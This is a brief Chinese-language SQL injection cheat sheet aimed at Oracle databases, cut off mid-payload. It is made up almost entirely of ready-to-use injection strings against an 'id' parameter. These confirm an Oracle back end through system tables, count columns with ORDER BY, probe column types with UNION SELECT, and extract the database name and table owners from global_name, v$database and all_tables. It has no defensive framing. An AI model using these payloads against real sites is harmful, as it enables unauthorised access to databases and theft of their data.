SQL注入--Oracle

1.判断是否为oracle数据库

id=88 and exists(select *from dual)

id=88 and exists(select *from user_tables)这两个表都是系统表，返回正常则为oralce数据库

2.查询字段数

order by 4 异常

order by 3 正常   最大列数为3

3.判断字段类型

id=88 union select null,null,null from dual 判断这三个列是否有类型异常，返回正常则继续

id=88 and 1=2 union select 'ss',null,null/null,'ss',null/null,null,'ss'  返回正常判断哪个列数为字符型 可用来显示查询结果

4获取所有数据库的名字(假设第二位为字符型)

id=88 and 1=2 union select null,(select global_name from global_name),null from dual

id=88 and 1=2 union select null, (select sys.database_name from dual),null from dual

id=88 and 1=2 union select null,(select name from v$database),null from dual  几个特殊的库的名字

id=88 and 1=2 union select null,(select owner from all_tables where rownum=1),null from dual

id=88 and 1=2 union se